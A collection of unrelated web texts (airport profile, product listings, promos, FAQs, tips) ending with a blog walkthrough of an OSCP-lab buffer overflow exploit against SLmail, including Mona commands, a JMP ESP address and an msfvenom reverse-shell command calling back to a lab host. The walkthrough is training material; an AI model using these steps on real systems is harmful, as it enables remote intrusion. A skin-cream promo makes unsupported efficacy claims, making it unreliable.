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Just 12 miles north of Memphis, Millington Regional Jetport (NQA) is poised for resurgence, due in large part to a community that believes in it and Mr. Remington, whose heart and soul is dedicated to bringing this Jetport into International renown. TEAM.Aero visited the airport and was given a personal tour and insight by Mr. Remington to the daily activities and aspirations of an airport rich in history, resources and potential.
Currently NQA is the alternate and backup airport for FedEx's air fleet operation. International inbound FedEx flights with heavily loaded 777Fs from Asia can save thousands of gallons of reserve fuel due to this alternate destination. The airport offers Tower Control that is open 22 hours a day, an 8,000 foot runway big enough to land a 747, equipped with ILS, and the third largest in the State of Tennessee. It also offers Passenger and Air Cargo handling, Transit Parking, Fueling, Aircraft Maintenance offered by Tulsair, Inc., 85,000 Square feet of hangar space (with a waiting list) and car rental on site. The airport owns the fire station equipped with four fire trucks providing 24-hour Aircraft Rescue and Fire Fighting service (ARFF).
The airport is certified for FAA Part 139 Index A but meets the ARFF requirements for Index E. The ARFF department is staffed with seven City of Millington firefighters, who man the station 24 hours a day, with two on duty per shift. ARFF personnel do not respond off-airport, and are there to provide immediate response to aircraft and airport emergencies.
Other activities of the airport this year include the Memphis Airshow slated for October 18th & 19th , 2014 featuring the legendary Navy Blue Angels. For a complete lineup of Performers, please Click Here
Military aviation first came to Memphis during WWI when the US Army leased 904 acres (366 ha) from the Memphis Chamber of Commerce. The Army established Park Field for flight training. The US Government purchased the property in 1920. Two years later, the Army closed the base.
For the next twenty years, the government used the property for various purposes and for a time leased the airfield to a flying service. After the start of WWII, the Navy took over the property and bought an additional 1,279 acres (518 ha) for an air station and a technical training school. The Navy utilized the air station the entire war for primary training with an ultimate total of 350 N2S Stearmans. A total of 16 outlying fields were established for flight training, some of which were hard surfaced and are still in evidence today.
During the postwar period of the mid-1940s through the mid-1990s, NAS Memphis hosted numerous locally-based Naval Air Reserve and Marine Air Reserve flying squadrons, as well as a major naval air technical training center (NATTC Millington) that provided the bulk of enlisted aviation specialty training for the US Navy and Marine Corps. Naval flight training returned to Memphis during the 1950s when single engine jet training was conducted with the Navy version of the Lockheed T-33 by Advanced Training Units (ATU) 105 and 205.(1)
As a result of a 1993 Base Realignment and Closure Commission report, the airport and almost 2,000 acres of adjacent land was transferred to the City of Millington. About 550 acres is used for airport purposes with the balance set aside for industrial development. The Millington Regional Jetport, formerly known as the Millington Municipal Airport, is currently operated as a public airport serving primarily private and military aircraft.
Millington Regional Jetport does not have regular passenger airline service at this time but as it takes less then 30 minutes to reach Downtown Memphis, serious discussions with a couple of airlines are underway to make that happen in the near future. The airport is also in discussion with aircraft manufacturers and maintenance providers to set up new facilities.
Currently the development for NQA is with Crew Training International Professional Flight Training (CTI). Plans of expanding their international flight training school, includes plans to renovate existing buildings as well as add new buildings to create a new Crew Training International (CTI) facility on the airport grounds. CTI wants to create an environment to entice more students earning their Commercial Pilot License (CPL) from around the world that will offer housing, dining and training, all in one place. At this time, CTI operates out of existing office space at the airport but is projected to have its own complex in place by the beginning of 2015.
The new training facilities will include an open bay hangar, control tower, locker rooms for men and women, classrooms, and due to the courses being 3-5 weeks long, onsite campus style housing as well as food services and a restaurant. So the flight students can literally eat, sleep, learn and live airplanes non-stop while in training with CTI.
From left to right - Dave Kaiser - VP Flight Training, Jason Dupree - MAA Treasurer, Matt Black - VP Business Development, Larry Dagen – Alderman, Sarah Bryan - Compliance Manager, James Ashcraft - MAA Commissioner, Andy Stafford - Flight Instructor, Connor Mullen - Facilities Support, Charles Gulotta - President, Millington IDB, Kyle Mullen - QA Manager, Kneeling - Al Mullen - President CTI, Roy Remington - Executive Director NQA
About Roy Remington, C.M. – Millington Regional Airport
Mr. Remington has served as the Executive Director of the Millington Regional Jetport since 2013. His understanding of airport development and management is built upon experience as an Airline Employee, FAA Analyst, and Senior Planner for projects at over 20 airports. Mr. Remington has served as Lead Analyst for the National Instrument Flight Procedure Project where he and his team were awarded the FAA Letter of Commendation for project excellence. His unique blend of expertise compliments initiatives that involve a focus on passenger and cargo commercial service, airside operations, airspace analysis, master planning, and technical justification documents that have resulted in award of over $32 million dollars for his airports.
TEAM.Aero Community Members can view Roy Remington's profile by clicking here
About CTI Professional Flight Training
CTI is an FAA Part 141-approved training center located at Ft. Lauderdale Executive Airport (FXE) in South Florida, USA. They also have a Part 61 training operation near Memphis, Tennessee at the Millington Regional Jetport (NQA). They train pilots for a wide range of FAA certificates and ratings, from the Private Pilot all the way through the Multi-Engine Instructor. Additionally, as ICAO conversion specialists, they have years of experience assisting foreign pilots with their FAA licensing.
Please click here to learn more about CTI
About JETS Memphis
The main mission of JETS Memphis, Jet & Engine Trading Society, is to organize local "Meet & Greet" networking events on a regular basis for aviation professionals active in the Global Commercial Jet & Engine Trade and conduct business in the Greater Memphis area.
Due to a desire for commercial aircraft trading community-networking events in the Greater Memphis area, a core group of professionals came together and discussed the possibilities to make this happen.
With a TEAM.Aero initiative as a base, JETS MEMPHIS was born to create a venue to strengthen the local aviation companies who want to expand their business and networking opportunities.
One year after inception, four luncheons and one Evening Reception later, JETS Memphis is now attracting attention and attendance from companies across the country.
Please click here to learn more
Source: Millington Regional Jetport, CTI
Source: (1) http://en.wikipedia.org/wiki/Millington_Regional_Jetport
Article by TEAM.Aero (Marco Sterk)


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Announcing The New Christian Fiction Historical Book by Robert Stephson
Book Title: What Jesus Was Like – By One Who Knew Him, The Gospel Of Bartholomew
I've just read a very unique Christian historical fiction book that is like no other! The story takes place during the time of Jesus Christ's ministry. It's based upon a fictional account given by the Apostle Bartholomew of his time with Jesus.
As we take this exciting journey with Bartholomew we see what it may have been like for him to travel with Jesus, the other disciples, and the myriad of interested followers from city to city. However, rather than paint the story with every day, ordinary language, the author uses a modified King James language mixed with his own language and verbiage that he actually created for this story to fit with the time frame for more realism.
It's a story not just for Christians but anyone looking to read something different that shares an important time in history that can never be forgotten. Robert Stephson brings alive the ministry of Jesus Christ by sharing His idea what Jesus looked like, how He spoke and how He shared His love for all mankind. Go to Amazon.com to purchase!
About The Author Robert Stephson
After a near death experience followed by profound spontaneous healings, Robert Stephson felt called to write this book. In it, he expresses his love of Biblical language, his gift for imaginative prose and his feeling for the universality of Christ's teaching.
Robert was a Chairman of the Department of Modern Languages and Literature at John Cabot University in Rome, Italy, where he taught for 13 years. He has written much in the fields of business, science, advertising, and academia, but this is the first time he has put his pen at the service of soul.

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We recommend two systems for the optical reading of multiple choice quizzes and exams.
- AutoMultipleChoice, (AMC) is an open-source software based on LaTeX. AMC works with Linux (and can be used with MacOS, subject to some limitations). It enables the creation of questions and it is possible to have both questions and answers presented in random order on individualised student answer sheets. Answer sheets are then scanned and the scans can be read by AMC. More information can be found on the AMC website.
- Remark Office OMR, is a proprietary software which operates on a Windows system. Exams can be created with a wide range of programmes (such as Word, Excel, etc.) using the fonts required by OMR. As with AMC, the software will read and correct scanned versions of student answer sheets.
You may chose either of these two solutions depending on your prior technical knowledge (of Linux, LaTeX, etc.) and on the nature of your exam. We can assist you in making this choice.
MCQ workshops
During the year a number of workshops are organised by the Teaching Support Centre on using multiple choice questions (MCQs). The workshops address both the writing of MCQs and the technical aspects of processing MCQs using either of the two systems. The dates of these workshops can be found on the "workshops and courses for teachers" page.
In the case of high demand within a given section or college, a specific workshop can be organised.
Scanning support service
In addition to the workshops, we provide a range of other supports to all lecturers or professors using MCQs.
For all classes
- templates and/or scripts which have been tested with each software
- access to our IT infrastructure including the AMC server and laptops with OMR installed
- a helpline in case of technical problems
For larger classes (more than 50 students)
Classes with more than 50 students can also avail of additional supports:
- use of a high performance scanner
- extended technical support on layout of answer sheets.
For common first-year exams
In the case of common exams for first-year courses involving students from multiple sections, further support is offered:
- logistical support for exam layout and preparation, printing, pre-scanning treatment, and scanning
- pre-treatment of results to facilitate lecturers and professors in checking and validating scores.
- For OMR:
You can download a demonstration version which is sufficient to set up your exam and run a simulation. Please contact Ludovic Bonivento or Siara Isaac to book a laptop with the OMR software for processing your completed exams. Please consult this OMR step-by-step guide for assistance in preparing and processing your exams. You will also find at the bottom of this page the links to the character fonts used by OMR.
- For AMC:
Contact Ludovic Bonivento to get SSH access to our AMC server. You can test AMC without having to install it. This AMC step-by-step guide will assist you in preparing and treating your exams.
In both cases, instructors are responsible for formatting, printing, scanning and processing their own exams, and for the security of the exam throughout this process.


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Tiffany Bayley opened Avalon Park Jewelers in Orlando, Florida in 2011. In the time since opening she has experienced many professional ups and downs. The most devastating of which being a robbery that occurred in the early morning hours of July 29th, 2013. The robbery set Tiffany's business back roughly $200,000 with no insurance to cover the loss. When most other small businesses' would have put a closed sign on the door, Tiffany rose to the occasion and made personal sacrifices necessary to keep the doors opened. Tiffany's story is one of hardship, and loss, but even more so triumph and perseverance.
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Easy inflation The convenience of CO2 with the ever-ready capabilities of a mini pump, the Air Rush Road combines safe, controlled CO2 inflation with the back-up security of a telescoping pump. At just 72g, the Air Rush's compact design easily fits in a jersey pocket or seat pack. Product details - 2-in-1 design combines CO2 inflator and mini pump - Ultra-compact size easily fits in a jersey pocket or seat pack - Includes reusable cartridge insulator to protect hands - Pump inflates tires if you're out of CO2 - 72g - Includes two 16g cartridges, mounting bracket, and required hardware
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Bontrager's Air Support Road hand pump is a highly durable pump with a small volume chamber for quick inflation of higher-pressure tires up to 115 psi. The fold-out lever locks the pump head securely to the valve for consistent airflow into the tire. Use the included bracket to easily mount it under your bottle cage. Available in two lengths: Long for more air per stroke, or Short for an easy fit into a jersey pocket.
Keep it classy Extend the hidden hose on the Air Support HP Pro pump, and thread it onto your Presta valve for secure inflation of your road tires. Designed with a smaller volume chamber for higher-pressure tires, this premium pump allows you to quickly inflate tires up to 120 psi. Stow it in your jersey pocket, or use the included bracket to mount it under your bottle cage. Product details - Premium-quality with smaller volume chamber for higher pressure tires - Inflate to 120 psi (8.25 bar) with little effort - Extendable, hidden hose reduces stress at valve when pumping at higher pressures - Threaded head securely locks onto Presta valves - Compact design fits snugly inside jersey pocket - Mounting bracket fits easily under bottle cage
Bontrager's Air Support HV is a life-saver when you flat out on the trail. A large volume chamber makes it a breeze to use on fat mountain bike tires. It has an easy-to-use thumblock, an auto-selecting head that fits Presta and Schrader valves, plus a fold-out T handle and a dual action for fast inflation. The Air Support HV is compact and light and it comes with a mount to carry it on your frame.
A compact mini pump that easily packs in your jersey pocket or bag and quickly inflates larger volume tires. Packable and powerful The Air Support HV Pro easily packs into a jersey pocket, bag, or pack and provides easy, accessible inflation for larger volume tires. An extendable air hose helps eliminate stress at the valve stem and a larger chamber allows for quick inflation up to 60 PSI. This refined mini-pump features a polished silver finish and comes with an on-bike mount. Product details - High volume air chamber for larger volume tires - Inflate to 60 psi (4.15 bar) with little effort - Extendable, hidden hose reduces stress at valve - Mounting bracket fits easily under bottle cage - Designed to work with Presta valves
Product details - Intended for low and mid-volume pavement tires - Inflates tires to 80 psi (5.5bar) with little effort - Auto-select head locks securely onto Presta or Schrader valves - Fold-out lever securely locks pump head to valve - Mounting bracket fits easily under bottle cage - Easy to read pressure gauge puts information within view
A reliable floor pump featuring a durable steel barrel, an auto-select head, and a stable base. Fresh air for your tires Nothing slows a cyclist down like an inappropriate amount of tire inflation. Loaded with features like a stable, tip-resistant base, a durable steel barrel, and an auto-select head, the Charger stands ready whenever your tires need a little boost. Product details - Steel construction and replaceable internals provide long-term durability - Auto-select head instantly fits both Presta and Schrader valves - Large, stable base minimizes tipping - Easy-to-read 3-inch base-mounted gauge - Max pressure 160 psi (11bar)
A versatile floor pump that allows for easy transition between high volume and high pressure settings. A pump for road and MTB The Dual Charger Pump is versatile floor pump with multiple pressure settings that let you easily inflate high-pressure road tires and larger volume hybrid and MTB tires. A quick flip of the switch moves between settings, making it perfect for riders who own both a road and mountain bike. Product details - Steel construction and replaceable internals provide long-term durability - Auto-select head instantly fits both Presta and Schrader valves - Large, stable base minimizes tipping - Easy to read 4-inch base-mounted gauge - Base-mounted switch allows for easy transition between high volume and high pressure settings - High volume setting allows for quick inflation - High pressure setting allows for easy inflation as PSI increases - Max pressure 160 psi (11bar)
A compact, efficient way to hold flat fixing essentials so you can get back on the bike quickly. The Pro Flat Pack has everything you need to fix a flat and get back on the bike quickly in an aero, easy to grab package. This all-in-one kit provides essential items needed to fix a flat tire with additional pockets for money and ID, plus extra soft, padded materials to ensure you won't be bothered by the poke of a tool while it's stashed in your back pocket. - Tight fitting, stretch neoprene material zips open for easy access - All the items you need to fix a flat tire - Includes Air Rush Elite, CO2' inflator, two 16g CO2' cartridges, and a padded bag - Reusable hand insulation sleeve, vulcanizing patch kit - Room in the bag for ID, money, keys, and more
For the perfect pressure A shock pump with an accurate, easy-to-read gauge and a thread-on design that minimizes bleed off so you can easily adjust your shock pressure. The perfect pressure takes precision. The Bontrager Shock Pump features a large, easy-to-read gauge for accurate readings, a bleed valve for pinpoint accuracy, and a thread-on design that quickly attaches to front and rear suspension shocks for a reliable, secure connection. - Easy-to-read gauge that is accurate to 400 PSI - Threaded design for a secure connection that reduces bleed down - Bleed valve reduces pressure in small increments - Suitable for use with front forks and rear shocks
Aluminum construction, a built-in air release valve, and an extra large, raised gauge provide the ultimate combination of lightweight, durability, and usability. The one pump for every bike Graced with a solid aluminum barrel and a built-in air release valve, Super Charger is the super-strong, ultra-precise floor pump roadies and mountain bikers can both agree is awesome. Auto-Select head instantly fits both Presta and Schrader valves while replaceable internals give this floor pump an extended life. Product details - All-aluminum barrel, base, handle, and gauge construction is lightweight and durable - Large, stable base minimizes tipping - Replaceable internals increase functional life span - Auto-select head with alloy levers instantly fits Presta and Schrader valves - Built-in air release valve makes it easy to dial-in pressures - Extra-large, raised 2.5-inch (6.5cm) gauge puts pressure info within easy view - Long 45-inch (114cm) hose, max pressure 160 psi (11bar)
Travel-ready tubeless set-up TLR Flash Can makes setting up tubeless tires at home and on the road a breeze. This easily transportable air canister inflates with a traditional pump, and a quick flip of the lever instantly releases stored air for smooth tubeless tire seating. The TLR Flash Can is designed for efficient installation of tubeless ready (TLR) tires without the need for a compressor. Product details - Inflates tubeless ready (TLR) tires without a compressor - Holds up to 160PSI (11 bar) of air pressure - Inflate Flash Can with any Schrader compatible floor pump - A simple flip of the lever releases stored air - Unique 'flash charge' function rushes air into tire - Auto-select head instantly fits both Presta and Schrader valves Specifications - Pump type: Floor - Valve: Presta/Schrader - Gauge type: No gauge - Max pressure: 160psi - Frame mounted: No
High-volume pump holds securely to bike frames and includes stable folding foot for on-the-go inflation ease. The pump with something to prove The Bontrager Mini Charger is a high-volume, frame-mountable bicycle tire pump that includes a long hose for ease and versatility. A practical folding foot stabilizes while you pump, for faster tire inflation. Product details - High-volume frame mount pump - Stable, folding foot for pumping ease - Long hose gives versatility and saves your valve stems
Extend the hidden hose on Bontrager's Air Support HP Pro pump, and thread it onto your Presta valve for secure inflation of your tires. Built with a smaller volume chamber for higher-pressure tires, this premium pump allows you to effortlessly inflate tires up to 120 psi. Available in two lengths: Long for more air per stroke, or Short for an easy fit into a jersey pocket.
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Elite Skin has come up with the latest age-defying system and it is supposed to significantly reduce the signs of aging from the chest up. This system consists of three parts. A lot of people have used Elite Skin products in the past and they are very satisfied with the results. Elite Eye Serum is a very popular cream, for instance. This cream is the part of the Elite Skin age-defying system. Along with the cream, this system also includes Elite Wrinkle Eraser and a special cream for the neck and chest called V-Covery.
Elite Eye Serum cream will diminish the appearance of fine lines, dark circles and puffiness. It will also better the tone and firmness around the eyes. Elite Wrinkle Eraser is supposed to reduce the wrinkles on the face. It is also good because of the antioxidants it contains. V-Covery cream will tighten and smooth the skin on the neck and chest. Apart from that, the cream will also heal the skin when it gets sun-damaged.
People need not worry too much because this is a three-part system because it is easily applied. Another good thing is that it provides excellent results. People need to know that the products should be used twice per day for a period of 60 days in order for the best possible results to be achieved.
A person will notice that all the products feel great on the skin. The scent of the cream is also quite nice and pleasant. Other creams for the eyes usually feel heavy on the skin and are prone to become an irritant when other anti-aging creams are applied. A person will see the first results after just 14 days of using. After 2 months, the wrinkles should be reduced severely and the tone should be improved. Deep lines should be reduced significantly after two months as well.
A person who wishes to treat the fine lines, age spots, discoloration, redness and large pores and deep wrinkles should really consider about using this three part system. The cost of these products is not an expensive one as well. A lot of people who have used it confirm that it is an excellent product.


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Frequently Asked Questions
After the assessment is completed, the results are emailed in a PDF document to the farmer and the person inputting the assessments.
If the farmer has the information needed on hand and is generally available for questions, a FARM ES assessment should take approximately an hour to complete.
If a FARM Program participant decides to opt into the module, how often do they have to perform assessments on farms?OpenClose
It's up to the user to decide how often or how many farms to assess through FARM ES. If not doing every farm, we have developed a FARM ES Statistical Sampling Protocol in order for the user to select a random, statistically valid set of farms to assess on an annual basis.
No. FARM Program participants will have the option to complete the assessment in conjunction with or separate from existing animal care evaluations.
A farmer should receive a copy of our Getting Ready (linked here) document around two weeks prior to the assessment in order to aggregate all of the available information. The information they will need include milk production records, animal numbers, rations, energy statements, fuel usage, and nutrient management plans (if available).
The FARM Environmental Stewardship module allows for the collection and dissemination of information on greenhouse gas emissions (GHG) and energy use on dairy farms. The assessment also helps dairy producers identify potential efficiency gains and cost savings, and track progress in a secure, confidential platform. An Environmental Stewardship User Guide has been developed to walk evaluators and employees through the on-farm assessment process.
The FARM Environmental Stewardship module is voluntarily available to all FARM program participants. If a FARM Program participant wants to use FARM ES, they can do so by opting into the module by using the Co-op Manager account designated for their organization.
FARM Environmental Stewardship integrates the methodology and science that resides in Farm Smart ™, which was developed by the Innovation Center for U.S. Dairy over the last several years. Farm Smart's science-based models were field-tested on dozens of farms and in several full supply chain pilots, and are being fully integrated into FARM. FARM Environmental Stewardship is a strong addition to the FARM Program's existing Antibiotic Stewardship and Animal Care modules, which have earned strong customer support.
While the FARM Animal Care evaluation requires the evaluator to move about the farm, a FARM ES assessment is primarily a paper exercise that requires documentation and some farmer engagement. FARM ES assessments are not an "inspection."


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Are you a student? order julian\'s rock hard cream USF later began its own research and discovered even more graves than the state department had identified. USF has worked for months to secure a permit to exhume the remains, finally receiving permission from Gov. Rick Scott and the state Cabinet after being rejected by Secretary of State Ken Detzner, who reports to Scott.
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Building the Right Environment to Support AI, Machine Learning and Deep Learning
Microsoft has released the general availability version of SQL Server 2016. Designed for hybrid cloud computing, this version of the database makes it easy to move data between on-premises servers and Microsoft's Azure cloud computing service. It also includes improved analytics capabilities, in-memory processing, support for R and performance improvements.
"Simply by upgrading to SQL 2016, many customer workloads experienced large performance gains," said Joseph Sirosh, corporate vice president of Microsoft's Data group. "For example, the 3TB TPC-H benchmark on the same hardware demonstrated a forty-eight percent performance gain."
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The Colorado Trail
In August of 2017 I decided to go farther east and ride the 500 mile Colorado Trail. The trail's two end points are in Durango (southern CO) and just southwest of Denver (central CO).
My biggest concern with this trail was whether I was up for the daily thunderstorms I would encounter during Colorado's monsoon season. It turned out that 2017 was a record snow year for Colorado and the high mountain passes were not open for stock travel until mid-July.
This trail seemed to be a great opportunity to test myself and see if the Rocky Mountains were going to be too much for me and if I should stick to the more moderate weather found west in the Sierras. I was also entertaining the idea of attempting a third Mexico to Canada ride, but on the Continental Divide Trail this time. I wanted a taste of Colorado weather before embarking on such a difficult cross-country route. Colorado was nothing short of breath taking. I loved being at such a high elevation and the afternoon rain and hail ended up being tolerable.
What sealed the deal for me was southern Colorado in the San Juan mountains. As I rode for miles and miles above treeline through the San Juans, I knew that I would be coming back again next year on the Continental Divide Trail.


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Beyond Staffing Gets a Trailer
Some people might ask "why do a one minute trailer for an 11 minute film?'
And you might be justified in asking that too. The answer is 'because we can', and it's probably the best one your're going to get.
But at the same time it's not like we can't take an opportunity to subvert the genre, is it?
So here we have happy (although rather confused) Mindy attending what she thinks is a job interview, complete with motivational American music.
After that it all goes downhill. But what else would you expect?
Beyond Staffing is our new existential, dark, sci-fi comedy satire, which we made just to prove how many bases we can cover in 11 minutes.
If you would like to see it, call or email or even use the contact form for a Secret Squirrel link.
When Mindy Kelly wakes up in the weirdest recruitment consultancy she's ever seen, she doesn't realise exactly how much of a shock she is going to get, nor how life changing her next decision will be.


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Useful Info on Car Dent Removal and some tips28/09/2015 14:39:38
Car dents do not only make your car look bad, they also lower the market value of the automobile, even as you have to part ways with some of your hard earned cash. There are different causes of dents ranging from collision with an object or vehicle, to having objects accidentally scratching or brushing the surface of the car. The bottom line however remains that whatever the cause of the dent, you need a car Dent Removal service almost immediately the dent is noticed.
Many car owners prefer to take their cars to car Dent Removal and repairs shops to fix their cars amidst the relatively high cost of service that comes with the option. The rationale behind this is simply to get the best service possible to ensure that the car is brought back to its former condition.
The cost of a car Dent Removal and the process involved in removing the dent is highly dependent on the extent of the damage. For persons looking to do the car Dent Removal job themselves, there are a number of removal kits available in stores. It should be noted that this option is best advised for smaller or minor dents and the major ones are better fixed by professionals. This is to avoid a case of being penny wise and pound foolish as an attempt to fix some major dents could lead to deteriorating the condition of the vehicle.
An average car Dent Removal kit would contain items such as suction cups, a hammer, hot glue guns, plastic adapters, just to mention a few. While some of the tools in the kit might not be needed in many cases, many of them are usually required for a minor car Dent Removal work.
Application of carbon dioxide to the dented part of the car is one of the very common DIY ways of fixing a dent. It is advised that protective gloves be worn when using this method. As mentioned earlier, DIY methods of car Dent Removal are best for the minor dents and the major ones should be handled by professionals.
Tips for Car Dent Removal
Still in the spirit of do-it-yourself, the tips discussed below will be very helpful in fixing the minor dents of your car. You however need to be sure that the dent is not beyond your capability.
The suction tools come in handy but are however best used on metals that do not have crease in them. The kits are designed to work on dents in large areas such as the hood or doors of the vehicle.
The internet also offers some useful tips on car Dent Removal using dry ice or even a hair dryer. This method is based on the metal reaction to temperature change. While it might sound a bit easy, it is actually more difficult and is not applicable in all situations.
For drivers of older cars that would not mind painting the car themselves, Bondo can be applied. You would need to sand down the surface in order to smooth the surface after using several coats. One disadvantage is that the car needs to be repainted always immediately to avoid that part of the car standing out.
The magnetized suction based kit remains the best alternative for the DIY persons. Not only does the kit give good results, the kit is also easy to use and thus remains the top choice of many car owners. As mentioned earlier, this kit would only work perfectly in large areas like the car roof or such portions.
It should be noted that the car Dent Removal tips mentioned above and the many ones that can be found on the internet or anywhere else are only effective when there is no crease in the metal. In cases where your car us beyond the situation mentioned above, the only feasible solution is to seek the help of a professional and look for a reliable and trusted car Dent Removal shop or company.
We can not get away from DIY kits being offered, however we have been called in to thousands of DIY disasters, we recommend that you get in the experts. For the sake of your car, use an expert and make sure it's done correctly. from the picture show , you can see how some customers DIY jobs have gone badly wrong


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For those organising events, it's one of their main aims to make the event something memorable. Whether it's something simple as a birthday party or a big conference these all can be memorable if it's special enough. In order to really make your event stand out, you need to add something special that people will want to remember and figure out what this is can be important. There are some things that you can do to add that special something.
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In order to do something special, you need to first look into what others are doing and this is mainly for two reasons. The first being that you need to do something different and better. The second reason is that looking at what others are doing can give you ideas on what you can do. No matter what type of event you are doing there is always something that you can get from other people so it's worth exploring.
Small things can make an impact
Sometimes the special features that you are looking for might not even be something big. When at an event people do pay attention to the small features and these can have a rather big impact. Paying attention to details is important since this can help bring the whole event together. Something as small as getting some good confetti cannon rental Singapore can have an impact on your event and it's worth looking into.
Don't be too serious
When trying to do something special you need to have a certain level of playfulness. Although you need to be responsible and make sure nothing wrong happens there is still room for you to experiment a bit and the freedom that comes with it can help unleash your creativity. Since this is a mindset that you need to be in it might take some time to really get into it but once you do it can be awesome. Find the right people to help you out with this.
Test things out
You might think you have an awesome idea but you can never be too sure. Make sure you get another's opinion before committing to anything because a different and new perspective always helps and it can lead to a more refined end product.
When organising events you need to make sure it's memorable and adding something special might just do the trick. Do these things and you will be able to come up with some good ideas.


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Buffer Overflow introduction
Whilst studying and working in the PWK labs in my quest to archieve the OSCP certification, one important part that I kept postponing because it looked so complex and difficult was the buffer overflow. Although the chapter on Buffer Overflow looks quite daunting, it is actually very logic and interesting. In this blog post, I will cover the steps to perform on creating an exploit for RCE for the SLmail application as covered in the PWK course.
What is a buffer overflow?
Before diving into the technicals, let's first grasp what a buffer overflow actually is.
Imagine a very simple program that asks you to input your username and then returns to whatever it was doing. Visually, this would look like this:
You notice that the space between the brackets is the space foreseen to input your username. That space is our buffer. After processing the username, the return address tells the program the next instructions it needs to execute.
Now what whould happen if we not only enter a username, but we add additional data to overflow this buffer space? And not only that, instead of typing a real name, we type in some shellcode (a series of computer instructions, by example giving us a remote shell), some dummy data and the address of that shellcode right on the same spot where our return address was.
Instead of returning to the intended instruction, the program will follow our overwritten shellcode address instead of the normal return address and execute our shellcode instead. That's a buffer overflow attack.
Tools & terminology
To identify a buffer overflow vulnerability and exploit it, you need a debugger which enables you to have a look under the hood of a program by reverse engineering it whilst it is running.
When attaching (File -> Attach) a running program (SLmail in our case) to Immunity Debugger, you get the following screen:
You will notice 4 screens:
CPU instruction - displays memory addresses and assembly instructions. Less really important for our basic buffer overflow attack.
Register - the register contains the contents of the different registers (e.g. EBX, ECX, EDX) and more importantly for our buffer overflow attack the Instruction Pointer (EIP) and the Stack Pointer (ESP). The Stack Pointer (ESP) is where we will put our payload (shellcode), the Instruction Pointer (EIP) is where we put the address of the ESP (containing our shellcode), hence telling the program to execute our shellcode instead of doing what it would normally do.
The Stack - shows the content of the current stack pointer (ESP)
The Memory Dump - showing the hex & ASCII content of the memory location you select.
Identifying a buffer overflow vulnerability
Our first step is to identify the buffer overflow vulnerability. To do so, we start the SLmail program and attach it in Immunity Debugger and unpause it.
Next, we run the following fuzzing script, which will enter an increasing number of A's in the password field of the application.
We noticed the application crashed when our fuzzing script entered a password of 2700 bytes. And even more importantly, we noticed that we have overwritten our instruction pointer (EIP) as it currently contains 41414141, which is the hex code for AAAA. This means we can control the execution flow of the application as the EIP contains the next instruction for the program.
Building a buffer overflow exploit
Our next step is to know which of the 2700 A's we have sent are the 4 A's overwriting the EIP. This is called the offset and can be archieved by sending a unique string of 2700 characters (bytes). In Immunity Debugger, we use the module Mona by the Corelan team to do this for us by running the command in the Immunity Debugger command line.
!mona pc 2700
Mona will generate a unique string of 2700 bytes in the file file pattern.txt in your Mona directory.
Next, we adapt our fuzzer to add the unique string instead of 2700 A's.
After running our updated fuzzer again, we see that the value of our instruction pointer (EIP) is Dj0D.
We can now check with Mona where this value occurs in our unique string to identify after how much bytes the EIP is overwritten. Mona found this pattern at position 2610, which means that the EIP is overwritten after an input of 2606 bytes. (2610 minus 4 bytes from Dj0D = 2606.
We now know our application crashes at 2700 bytes and our instruction pointer (EIP) is overwritten after 2606 bytes. This leaves us 94 bytes to put our shellcode. As typical shellcode is 300 to 400 bytes long, we need more space. Let's check if we can increase the placeholder by adding more dummy data, by example 3500 bytes in total.
We adapted our script to first sent 2606 dummy data (A's), then 4 B's which will overwrite our instruction pointer (EIP) and then 890 C's as a placeholder for our payload which should be sufficient for our shellcode. Note that we are lazy and don't actually need to calculate the 890, you can just deduct the previous numbers.
Nice, this works very well. In the Memory Dump screen (left bottom), we clearly see that the A's are filling the buffer till we overwrite the instruction pointer (EIP) with 4 B's and then we overwritten the stack pointer (ESP) with C's as a placeholder for our shellcode.
Instead of C's we would like to put shellcode in the stack pointer (ESP), which will gives us a reverse shell. Before we can do that, we need to identify possible bad characters which may break our shellcode. Bad characters are not universal and depend on how the program is built. A common bad character is by example a null byte (\00) which will make the application ignore the rest of the shellcode. After identifying the bad characters, we can exclude these when generating our shellcode.
To identify the bad characters, we will generate a byte array containing all possible characters and see if and where the exploit breaks and repeat this till the exploit works flawlessly with all remaining bytes.
Mona can assist us in generating a byte array. Use the following command to generate a byte array excluding the null byte (\x00) already, as this is almost guaranteed to be a bad character.
!mona bytearray -b '\x00'
This will generate two files in your mona directory, bytearray.txt and bytearray.bin. We first use bytearray.txt to adapt the exploit with our generated bytearray.
After running our script we notice that as expected we have cleanly overwritten the ESP with 'BBBB' as expected, followed by the bad characters. Note down the ESP address 0177A128, as this address contains our byte array.
Now we can compare our generated byte array (bytearray.bin) with the ESP which should need contain the same byte array if no bad characters are breaking our exploit.
To compare both byte arrays, use the following command:
!mona compare -f bytearray.bin -a 0177A128
After two iterations, we identify the bad characters \x00, \x0a and \x0d.
As the ESP address often changes when running the program and we would like to build a consistent exploit, we can not hardcode the ESP address. Luckily, in most programs there are bytes called JMP ESP or CALL ESP which will redirect to the ESP. If we overwrite the instruction pointer (EIP) which such address, execution will first go there and then to our payload.
We need to find a module without protections such as ASLR or DEP enabled, which his often the case.
To identify a module without defenses as ASL or DEP, run:
!mona modules
After running !Mona modules we found two modules (SLMFC.DLL and SLmail.exe) without DEP or ASLR enabled. However, only SLMFC.DLL can be used as SLmail.exe address contains 0x00, which was identified as a bad character earlier.
Now we know that the SLMFC.DLL module is suitable to find a JMP ESP. Before we can do so, we need to know the hex code for a JMP ESP. Luckily this is hex code stays the same so we only need to do this once. Kali has a great tool to identify hex codes called nasm_shell. We learn that the hex code for JMP ESP is \FF\E4.
Now we have identified the hex code for JMP ESP, we can find JMP ESP addresses within the identified module SLMFC.DLL using the following command:
!mona find -s "\xff\xe4" -m slmfc.dll
We found 19 different JMP ESP pointers in the SLMFC.DLL, we select the first one with address 0x5f4a358f.
When we go to the address 0x5f4a358f, we can verify this is indeed a JMP ESP address.
Now we will adapt our exploit to overwrite the EIP with our JMP ESP address.
When testing the exploit, we indeed verify the EIP is overwritten with our JMP ESP address 0x5F4A358F.
If we now replace the C's with shellcode, we will get a reversed shell.
We generate our shellcode with the following command, keeping in mind that we need to exclude the earlier identified bad characters. Notice the payload size is 351 bytes.
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.44 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
Now we can adapt our exploit script with our generated shellcode:
Note that we added a number of NOP slides (no operation instruction - "\x90") before the payload to make sure the exploit has enough space to work instead of overwriting the beginning of the shellcode. After the payload, we add some C's again but we deduct the bytes used for A's, the JMP ESP, the NOP's and the shellcode.
After running our exploit, we have a shell!
